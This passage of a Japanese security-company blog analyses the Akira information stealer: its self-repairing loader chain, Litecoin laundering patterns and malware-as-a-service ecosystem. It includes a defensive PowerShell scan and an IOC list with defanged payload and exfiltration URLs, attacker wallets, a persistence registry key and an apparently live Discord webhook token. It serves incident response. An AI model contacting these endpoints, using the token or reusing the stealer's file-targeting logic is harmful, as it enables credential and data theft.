astor.py)を呼び出すか、攻撃者が管理するインフラからZIPバンドル(pyth.zipなど)としてダウンロードする
- ペイロードの実行(
astor.py) 起動されると、astor.pyはpython.exeを介してメモリ上で実行されます。保存された認証情報、Cookie、Discordトークン、ブラウザーのセッションデータ、暗号通貨ウォレットの拡張機能を体系的に収集します。データはZIPアーカイブにまとめられ、HTTPS経由で窃取されます。多くはDiscord Webhookですが、gofile.ioのようなフォールバックAPIやカスタムのC2エンドポイントも観測されています。 - ループの完全性と自己修復
設計は循環的です。
Updater.exeが削除されれば再配備されます。main.exeが欠ければ、Updater.exeがapp-64.7zから再展開します。astor.pyが削除されれば、JavaScriptの層が再取得します。この相互依存により、マルウェアは耐性を持ち、生き残ったほぼどの断片からでも実行チェーンを再構築できます。
このアーキテクチャは単にモジュール式なだけではありません。自立的 であり、標的環境におけるステルス性、柔軟性、長期的な生存性のために意図的に設計されています。
8.2 これが注目に値する理由
このキャンペーンのアーキテクチャ設計は、市販の情報窃取ツールでは通常見られない水準の洗練を反映しています。単純な多段階ローダーの域を超えています。これは 運用上の耐性、ステルス性、自動化 のために設計されたマルウェアです。
主な特徴
- 完全な自律性 いったん配備されると、マルウェアはユーザーの操作や外部からの再起動を必要としません。悪意あるマイクロサービスのように振る舞い、外部の制御なしに自らの永続化、ペイロードの実行、修復のルーチンを統括します。
- 多言語の実行スタック
このツールチェーンは次を統合しています。
- PEバイナリ(
Updater.exe、main.exe) - Node.js / JavaScript(Electron経由)
- PowerShell(難読化されたペイロードの中継に使用)
- Python(
astor.py。メモリ常駐型スティーラーとして実行) この層状の構成は、従来の静的ツールを使ったプロファイリング、フィンガープリンティング、解析を難しくします。
- PEバイナリ(
- 設計による防御回避
すべてのコンポーネントがエンコード、暗号化、あるいは動的に注入されます。
- Base64のPowerShell中継
- AES暗号化・GZIP圧縮されたPythonコア
- ランタイムでのトークン注入を伴う難読化されたJavaScript
- 部分的な駆除を妨げる自己修復の振る舞い
- 単一障害点の不在
マルウェアの自己修復ロジックにより、単一のコンポーネントの削除では不十分 になります。
Updater.exeが削除されれば、情報窃取ツールがそれを再作成します。astor.pyが削除されれば、JavaScriptの制御役が再ダウンロードして再配備します。
要するに、このマルウェアは典型的なペイロードというより 分散システム のように振る舞います。生存性、モジュール性、ステルス性を優先するものです。
これにより脅威は、日和見的な攻撃から 耐性を備えた適応型のプラットフォーム へと格上げされ、防御側には同等に多層的な検出・対応の戦略でその複雑さに対抗することが求められます。
8.3 ブルーチームへの含意
防御側とCSOCの運用者にとって、この種のアーキテクチャはハードルを引き上げます。
- 部分的なクリーンアップは効果がありません。すべてのノードを特定し、同時に削除しなければなりません。
- Defender for Endpointによる相関分析 が不可欠です。解析者は完全なチェーンを追う必要があります。
Updater.exe→cmd.exe→powershell.exe→python.exeという流れです。 - IOCを残さない永続化 は、メモリベースのヒューリスティック、テレメトリのベースライン化、チェーンベースの検出が鍵になることを意味します。
これは単なるスティーラーではありません。耐性を備えたマルウェアプラットフォーム であり、単純な脅威というより分散システムのように振る舞います。そしてそれこそが、これを見事であると同時に危険なものにしているのです。
9. ブロックチェーンの追跡と分析
9.1 Litecoinベースのマルウェアキャンペーンにおける資金の流れの追跡
このマルウェアキャンペーンのリバースエンジニアリングの段階で、スティーラーが暗号通貨の窃取に使っていた複数のハードコードされたウォレットアドレスを抽出しました。これらのLitecoinウォレットのオンチェーンの活動を追うことで、意図的なマネーロンダリングの手口を示すパターンを明らかにできました。攻撃者が管理するウォレット LW6EopiZ... は、中心的な集約点として機能しています。複数の被害者から窃取された資金がこのアドレスに流し込まれ、その後すみやかに複数の新しいアドレスへ再分配されます。
ここで見られる振る舞いは、暗号通貨のタンブリングやミキシングの操作で使われる古典的な分割送金パターンの典型です。いずれの場合も、入ってきた残高の全額がおおよそ比例した2つの送出取引に分けられ、それぞれ異なるウォレットに送られます。この戦略は、資金の出所を分かりにくくすることで、アドレスのクラスタリングとチェーンの追跡を妨げるよう設計されています。自動化されたブロックチェーン分析や脅威インテリジェンスのプラットフォームによる検出を回避する、効果的な手口です。
このロンダリングの振る舞いは、取引のタイミング、精密な金額の分割、アドレス再利用の最小化を組み合わせ、GraphSense、Chainalysis、TRM Labsなどで使われるようなクラスタリングアルゴリズムが一般に適用するヒューリスティックを迂回します。全体の狙いは、高エントロピーの取引フローを作り出すことで帰属分析を混乱させ、連結可能性を断つことにあります。特に、資金が最終的に他の資産へブリッジされたり、プライバシー重視のコインへ交換されたりする場合に効果を発揮します。
以下の例では、この振る舞いの構造化された一部分を示します。入金取引は、それぞれ別の被害者からの送金を表します。これらの値はその後、送出フローに過不足なく対応づけられ、コインが速く、予測可能で、アルゴリズム的に分割された支払いを通じて「洗浄」される様子を示しています。
| 入力元 | 入力日 | 入金額 (LTC) | → 攻撃者ウォレット | 出力アドレス | 出金額合計 (LTC) |
|---|---|---|---|---|---|
| Input_1 | 2024-09-21 | 0.25339198 | LLQtaBnSAF... |
- LZmHkgkED... (0.15579078, 2024-09-26)- M8JpDsw5H7... (0.09760120, 2024-09-26)
|
0.25339198 |
| Input_2 | 2024-04-16 | 1.09976044 | LLQtaBnSAF... |
- LgWrCAF8ED... (0.84304664, 2024-06-13)- LgWrCAF8ED... (0.25671380, 2024-06-13)
|
1.09976044 |
| Input_3 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LZL3wQcSRP... (0.38544673, 2024-03-04)- M8kiBpVHG3... (0.38544673, 2024-03-04)
|
0.77089346 |
| Input_4 | 2024-03-06 | 0.77089346 | LLQtaBnSAF... |
- LUFLTrqYpix... (0.38544673, 2024-03-04)- La22dfH9eM... (0.38544673, 2024-03-04)
|
0.77089346 |
10. Akiraエコシステムの内側 – 商業化されたサイバー犯罪インフラ
Akiraは単なるスティーラーではありません。サイバー犯罪を簡素化し、規模を拡大し、収益化するために設計された、活況を呈する地下エコシステムの中核です。
10.1 脅威アクターのためのプラグアンドプレイのエコシステム
Akiraのエコシステムは、サイバー犯罪が専門化しサービス主導の経済へと進化した様子を体現しています。次を含みます。
- オンデマンドのペイロード生成のための ビルダーボット(
@AkiraRedBotなど) - アップデート、機能要望、カスタマーサポートのための Telegramチャネル
- 自動化されたライセンス管理と決済処理。多くはダイレクトメッセージやSellixのような匿名のeコマースプラットフォーム経由
- クリップボードの乗っ取り、Discordトークンのロガー、ブラウザーデータのスティーラー、さらにはランサムウェアのアドオンといった バンドルされたモジュール
- トグル、Webhookの入力、アイコンのブランディングを可能にする設定インターフェイスを備えた カスタマイズ可能なペイロード

10.2 サイバー犯罪の商業化
Akiraの構造は、「Malware-as-a-Service」(MaaS)へと向かうより大きな潮流を反映しています。そこでは次のようになっています。
- 攻撃を仕掛けるのに 深い技術的スキルが不要
- 低い参入コスト(3か月75ドル、永年150ドル)
- Telegramを通じた 即時のサポートとドキュメント
- コミュニティの貢献 が、スクリプトや機能提案でAkiraを日常的に拡張
このエコシステムは、正規のSaaSビジネスモデルを映し出しています。変更履歴、UXの改善、価格帯、アップセルまで備えています。

10.3 スティーラーの先へ – エコシステムのコンポーネント
多くの攻撃の心臓部は astor.py ですが、エコシステムは完全なチェーンを提供します。
- PyInstallerのラッパーのような難読化ツール
- 悪意あるペイロードを無害なソフトウェアと結合するためのファイルバインダー
- コンパイラー、クリプター、ランタイムでの多形化
- ペイロードの配信と窃取のためのホスティングミラー(GoFile、AnonFilesなど)
- 窃取した認証情報やハードウェアプロファイルを要約するデータ管理ボット

11. Akira Stealer QuickCheck 影響を受けたファイル
11.1 これは何のためのものか
Akira Stealerの感染が疑われた後は、自社のシステム上のどのファイルが窃取の危険にさらされていたかをただちに把握することが不可欠です。上で概説したQuickCheck PowerShellスクリプトは、Akiraの検索ロジックをそのまま再現します。ユーザーの デスクトップ、ドキュメント、ダウンロード、OneDrive の各フォルダーを走査し、次に該当するファイルを探します。
- ファイル名に
password、wallet、backup、tokenといった機微なキーワードを含む - よく標的にされる特定の拡張子(.txt、.docx、.pdf、.jpgなど)を持つ
- マルウェアが課す2 MBのサイズ上限以下である
QuickCheckはAkira Stealerの内部ロジックに基づく迅速な概観を提供しますが、包括的なフォレンジックツールやプロフェッショナルなインシデント対応の代わりにはなりません。侵害が確認された場合は、必ずより深い分析を続けてください。
その後、ファイル名、相対パス、サイズ (KB)、トリガーとなったキーワード を並べ替えた表を提示します。
免責事項 このツールは、完全性や特定目的への適合性についていかなる保証もなく 「現状のまま」 提供されます。すべての 潜在的に機微なファイルの検出を保証するものでは なく、完全なマルウェアフォレンジックに取って代わるものでもありません。利用は自己責任でお願いします。
法的通知
このQuickCheckユーティリティは、防御的なセキュリティ 評価のみを目的としています。自ら所有していないシステムに対する許可のないスキャンや使用は、プライバシー、著作権、コンピューター不正使用に関する法律に違反する可能性があります。glueckkanja AGは、その使用に起因する誤用や損害について 一切の責任を負いません。
PowerShellスクリプト
<#
.SYNOPSIS
QuickCheck: Lists all files that Akira Stealer would potentially exfiltrate.
.DESCRIPTION
Scans Desktop, Documents, Downloads and OneDrive for files that:
• Contain one of the defined keywords in their name
• Have an allowed file extension
• Are not larger than 2 MB
Presents the results in a colored, tabular overview.
.NOTES
© glueckkanja AG – Kaiserstr. 39 · 63065 Offenbach
#>
# -------------------------------------
# 1. Configuration
# -------------------------------------
$scanFolders = @(
"$env:USERPROFILE\Desktop",
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Downloads",
"$env:USERPROFILE\OneDrive"
)
$keywords = 'passw','seed','mnemo','phrase','login','wallet','crypto','token','backup','secret','account'
$extensions = '.txt','.doc','.docx','.pdf','.csv','.xls','.xlsx','.jpg','.png'
$maxSize = 2MB
# -------------------------------------
# 2. Scan and Collect Matches
# -------------------------------------
$matches = [System.Collections.Generic.List[PSObject]]::new()
foreach ($folder in $scanFolders) {
if (-not (Test-Path $folder)) { continue }
Get-ChildItem -Path $folder -Recurse -File -ErrorAction SilentlyContinue | ForEach-Object {
# 2.1 Extension filter
if ($extensions -notcontains $_.Extension.ToLower()) { return }
# 2.2 Size filter
if ($_.Length -gt $maxSize) { return }
# 2.3 Keyword filter: explicit loop to avoid null-method calls
$hit = $null
foreach ($kw in $keywords) {
if ($_.Name.ToLower().Contains($kw)) {
$hit = $kw
break
}
}
if (-not $hit) { return }
# 2.4 Build relative path
$rel = $_.DirectoryName.Substring($env:USERPROFILE.Length + 1)
# 2.5 Collect
$matches.Add([PSCustomObject]@{
FileName = $_.Name
Location = $rel
'Size (KB)' = [math]::Round($_.Length / 1KB, 1)
Keyword = $hit
})
}
}
# -------------------------------------
# 3. Display Results
# -------------------------------------
clear
Write-Host "🔍 glueckkanja AG – Akira Stealer QuickCheck" -ForegroundColor Cyan
Write-Host "────────────────────────────────────────────────────────" -ForegroundColor DarkCyan
if ($matches.Count -gt 0) {
$matches |
Sort-Object Location, FileName |
Format-Table -AutoSize `
@{Label='File'; Expression={$_.FileName}},
@{Label='Location'; Expression={$_.Location}},
@{Label='Size (KB)'; Expression={$_. 'Size (KB)'}},
@{Label='Keyword'; Expression={$_.Keyword}}
Write-Host "`n⚠️ Total potential matches: $($matches.Count)" -ForegroundColor Yellow
}
else {
Write-Host "✅ No potentially compromised files found." -ForegroundColor Green
}
Write-Host "`n© glueckkanja AG · Kaiserstr. 39 · 63065 Offenbach" -ForegroundColor DarkGray
Write-Host "Disclaimer: This tool offers a high-level scan based on Akira Stealer’s logic; it does not replace full forensic analysis." -ForegroundColor DarkGray
12. 対応のその先へ – glueckkanja CSOCがインシデントをインサイトに変える方法
ほとんどのセキュリティオペレーションセンターは封じ込めで止まります。 当社は違います。
glueckkanja CSOCでは、インシデント対応はゴールではなく出発点だと考えています。
他社が勝利を宣言して先へ進むとき、当社はさらに深く掘り下げます。当社にとって、それぞれのインシデントは学び、適応し、より強くなる機会です。長年にわたる深いフォレンジックの専門性とリバースエンジニアリングの能力に支えられた飽くなき好奇心により、当社は単に防御するだけでなく、先を読みます。
この哲学こそが、当社が Akira Compromise Reporter を構築した理由です。
単なる検出をはるかに超えて、この社内開発のフォレンジックツールは、Akira Stealerに関する当社の深い知見を活かし、どのデータが侵害されたのかを完全に明らかにします。数分のうちに、インシデントの全体的な影響を正確かつ実行可能な形でスナップショットとして提示します。
- どの認証情報、トークン、ブラウザーセッションが窃取されたかを正確に。
- どの暗号通貨ウォレット、メッセージングアカウント、ファイルが露出したかを正確に。
- 明確で構造化された詳細なフォレンジックレポート。不確実性を、即座かつ十分な情報に基づく行動へと変えます。

glueckkanjaでは、成功を、ブロックした脅威の数だけでなく、提供した明確さで測るからです。正しく行われるサイバーセキュリティとは、単にインシデントに反応することではありません。理解し、適応し、常に一歩先を行くことです。
それがglueckkanja CSOCの違いです。
13. 侵害の痕跡 (IOCs)
以下は、glueckkanja CSOCにおける当社内部のリバースエンジニアリングの過程で、マルウェアのコードから直接抽出したIOCの包括的かつ逐語的なコレクションです。憶測や外部の脅威インテリジェンスソースは一切使用していません。すべての指標は確認済みの調査結果です。すべてのURLは、誤ったクリックを防ぐため意図的に難読化してあります。
略語:
- TG: Telegramの報告チャネル
- Alt: 代替(フォールバック)エンドポイント
1. ドメインとURL
| カテゴリー | 難読化されたURL | 説明 |
|---|---|---|
| 主要な注入 | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/inj[.]php |
最初の攻撃者Webhookエンドポイント |
| フォールバックの注入 | https[:]//cosmoplanets[.]net/.well-known/pki-validation/inj[.]php |
代替のインジェクターエンドポイント |
| エラー報告 (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/link[.]php |
Telegramのエラー/ログ報告URL |
| エラー報告 (Alt) | https[:]//cosmoplanets[.]net/.well-known/pki-validation/link[.]php |
代替のエラー/ログ報告URL |
| バニティボット (TG) | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/mumu[.]php |
バニティアドレスの通知エンドポイント |
| バニティボット (Alt) | https[:]//cosmoplanets[.]net/well-known/pki-validation/mumu[.]php |
代替のバニティ通知エンドポイント |
| Exodusの注入 | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/exodus[.]asar |
Electronの Exodus アプリモジュール |
| Atomicの注入 | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/atomic[.]asar |
Electronの AtomicWallet モジュール |
| Updaterのダウンロード | https[:]//hentaikawaiiuwu[.]com/.well-known/pki-validation/Updater[.]exe |
永続化のドロッパー実行ファイル |
| Gofile APIリスト | https[:]//api.gofile[.]io/servers |
最適なGoFileアップロードサーバーを取得 |
| Discordトークンのチェック | https[:]//discordapp[.]com/api/v9/users/@me |
窃取したDiscordトークンを検証 |
| Discordの請求情報 | https[:]//discord[.]com/api/users/@me/billing/payment-sources |
請求方法を取得 |
| Google OAuthのリプレイ | https[:]//accounts[.]google[.]com/oauth/multilogin |
窃取したGoogleセッショントークンをリプレイ |
| IPチェック (hosting) | http[:]//ip-api[.]com/line/?fields=hosting |
ホスティング環境の検出 |
| IPルックアップ (geo) | http[:]//ip-api[.]com/json/{ip} |
IPによる地理位置特定 |
| パブリックIPの取得 | https[:]//api[.]ipify[.]org |
外部IPアドレスを取得 |
| File.ioのアップロード | https[:]//file[.]io/ |
二次的な窃取チャネル |
| Oshi.atのアップロード | http[:]//oshi[.]at/ |
三次的な窃取チャネル |
| JSドロッパー 主 | https[:]//rentry[.]co/7vzd22fg36hfdd33/raw | 実際のZIP URLへのリモート参照 |
| JSドロッパー フォールバック1 | https[:]//cosmicdust[.]zip/.well-known/pki-validation/pyth.zip | 代替のペイロードZIP |
| JSドロッパー フォールバック2 | https[:]//cosmoplanets[.]net/well-known/pki-validation/pyth.zip | 二次的なフォールバックのペイロードZIP |
2. 暗号通貨アドレス
| 通貨 | アドレス |
|---|---|
| BTC | bc1qnmz2l8lr0yzj9eun48dyds7rlzg6t6hk5vw5zt |
| ETH | 0xa8a2C9e3fbCde807101dBD87aF7b51583f83d1D5 |
| DOGE | DACeoqWDPmNARSZAeDZPFwqwecbByaksmd |
| LTC | LLQtaBnSAFpCFUw5cXRRka7Nvtrs4Up9bH |
| XMR | 4AVdkoC16zwcjxF4q9cXdL2D4vGqC9iPAcQ9gmHzQ7JS1fUUff6Za3D6CKm9MsDrhSDRY9hgeca7yKnMGpaD8dq6Bo3mT7D |
| BCH | qrfs8ee558t0a2dlp9v6h4qzns5cd6pltqrrn883xs |
| DASH | XpeiSH1MfQYeehTfxosYHyTHzbgu2LNsG1 |
| TRX | TFuYQoosCUqbVjibowMqaa3W3h3RtAVDbK |
| XRP | r36AwwhUH7BRujevi5mukbDrG46KGbTk8V |
| XLM | GAEPMD52PX7FYX65AJJLEFZSH3DZSL3DKM2XRXHVJP4CLJFIBKI25C33 |
3. レジストリキー/パス
| レジストリパス | 用途 |
|---|---|
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\DriverDesc |
仮想GPUドライバーのシグネチャを確認 |
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Class\\{4D36E968-E325-11CE-BFC1-08002BE10318}\\0000\\ProviderName |
仮想GPUのプロバイダー名を確認 |
HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (値 Realtek Audio) |
Runキーによる永続化 (Updater.exe) |
%APPDATA%\Microsoft\Internet Explorer\UserData\Updater.exe |
永続化の実行ファイル |
5. ファイルとハッシュ
| ファイル名 | SHA256 | サイズ (バイト) |
|---|---|---|
| app-64.7z | 331A4A4D721A1B5B1BB5E9A5C13462D5CDB16248DEFE0F16BE6E1E57C275E380 |
63936274 |
| main.exe | C98F0F5B89C6DAC1482286FAA2E33A84230C26EA38DA4E013665582C9A04213B |
162036224 |
| jscrypter.js | 0A47985F8B3716058B0DF6C68EC97D0F1F3CB0F7A31562A819C3E766ED4CDCEF |
1429 |
| obf.js | 1E666F3CF6E3DA6EED973E00E81EC721B33B17D4E981CB506F62F349DC1B3343 |
30138 |
| input.js | E375DE29E23C43627B2894EA01B6B1C7D9B1BD37E7305EEC7185CEE9719924A7 |
7155 |
| package.json | 972C634FD0666BCA12A6B7A50E69C32610321E9EC4D28D65734E55437D345CC6 |
211 |
| astor.py | 850361AF7D6C006900FC638D6ACBD9A6362385BAD0530CFBD52555E6415DB3A4 |
205210 |
| exodus.asar | 6A3B5D5A6BA5925DF39351830D92A2B5E4720803FE9F8040C3E67C12F668F4EB |
132486332 |
| pow.bat | 10E4A6B54CC0CF4D18DDE8B69E0B305ABE487E07ED990C5BFF82CE30B217B910 |
28454 |
| download.dat | C49E83A5F154F7E54CA0CE9EECEA066A721966786F2850626252DDA0BE0BF79B |
21142 |
| pyth.zip | E6F6AD49076367A58220E48691A34E33C18F0285FD9C50879A9B83A99F840AD7 |
32375391 |
| Updater.exe | 36C34E39DC7D54C4C97DDEB9B6C7FD429DB26C34D65CCE8BE3523FDFDB7CEBE0 |
37652937 |
5. DiscordとTelegramの識別子
| カテゴリー | 値 |
|---|---|
| Discord Webhook ID | 1226766972675428372 |
| Discord Webhook Token | BuBywdldEWncg7fbIpEhCROLpkGLkYirOoP2bP-uzzOatDaxSpaWqaLNerun85qCfwNz |
| Telegram ID | 5035121855 |
14. Akira Stealerインシデントを振り返る: glueckkanja CSOCで防御を強化する
本ブログを通じて、当社はAkira情報窃取ツールの洗練された性質を掘り下げてきました。標的を絞った認証情報の窃取、ステルスなデータの窃取、そして従来の防御を回避する永続的な手法を特徴とする、高度なサイバー脅威です。このマルウェアがどのように機能し、どのようなリスクをもたらし、どの脆弱性を突くのかを理解することは、堅牢なサイバーセキュリティ戦略を築くうえで不可欠です。
Akira情報窃取ツールは、ログイン認証情報、ブラウザーセッション、暗号通貨ウォレット、メッセージングサービス、個人や組織のファイルといった機微なデータを狙って標的にします。その計算され精密な手口には、標準的なセキュリティ対策以上のもの、すなわち継続的な監視、踏み込んだフォレンジック分析、そして先を見越した脅威インテリジェンスが求められます。
glueckkanja CSOCでは、当社の深い技術的専門性と高度な分析能力を活かし、単なる検出の先へと進みます。当社の専門チームは、専用のCSOCサーバーから脅威をリアルタイムに継続監視し、Akira情報窃取ツールのような脅威の即時の特定、徹底した調査、効果的な無力化を可能にしています。
しかし当社の仕事はインシデント対応で終わりません。検出されたすべてのインシデントが当社のナレッジベースを豊かにし、セキュリティ体制を強化し、将来の脅威の何歩も先を行けるようにします。glueckkanja CSOCとともにあれば、お客様は単なる保護以上のものを得られます。長期的なレジリエンスに尽くす、適応型のセキュリティパートナーを得られるのです。
自社のデジタル資産を守るための次の一歩を踏み出してください。
今すぐglueckkanjaのサイバーセキュリティ専門家にご連絡ください。先を見越して、ともにお客様の未来を守りましょう。
glueckkanja CSOCで防御を強化しましょう。
15. セキュリティと法的免責事項 – 実際のマルウェアコードの使用
本記事には、インシデント対応やフォレンジック調査の過程で発見された実際の悪意あるソフトウェアに由来する、コードの抜粋や振る舞いの分解を含む、詳細な技術的知見が含まれています。この情報を共有する目的は厳密に教育的なものであり、プロの防御担当者が現実の脅威をより効果的に理解し、検出し、対応できるよう支援することを意図しています。当社は誠意をもって、また、より広いセキュリティコミュニティに貢献する意図をもってこれを公開します。
含まれるコードの一部が、実際に出回っている脅威アクターのツールキットやマルウェアの検体に由来する点に留意することが重要です。これらの断片は当社の知的財産ではなく、安全である、無害化されている、あるいはそのほかの意味で「無害」であると見なすべきものでもありません。そのようなコードの複製や運用上の使用は明確に推奨しません。読者は、本資料が研究と意識向上の機能を果たす一方で、過小評価すべきでないリスクプロファイルを本質的に伴うことを理解しなければなりません。
認定されたセキュリティチーム、SOC部門、学術研究者、マルウェアラボといった、法的に許可された環境で活動する訓練を受けた専門家のみが、ここで述べる手法やコードを扱うべきです。すべての実験は、隔離された非本番システムに限定し、適用される法律、社内ポリシー、倫理基準を遵守しなければなりません。
当社は、複製されたいかなるコードや振る舞いについても、サポートや検証を提供しません。正確性、関連性、完全性についていかなる保証もありません。さらに当社は、本コンテンツを攻撃目的、許可のないレッドチーム活動、商用のマルウェア開発、あるいは法的に定められた範囲を超えた敵対的テストに使用することを明確に拒否します。いかなる誤用も法的責任を招く可能性があります。glueckkanja AGは、本コンテンツの使用や誤解に起因する直接的または間接的な損害について、一切の責任を負いません。
本コンテンツを読み続ける、あるいは参照することにより、読者は上記を認識し、そのいかなる部分も違法または非倫理的な文脈で誤用、複製、適用しないことに同意したものとします。疑問がある場合は、実際のコード解析や類似の技術資料を扱う前に、法務、コンプライアンス、データ保護の部門にご相談ください。
本記事は、保証、サポート、責任なしに「現状のまま」提供されます。















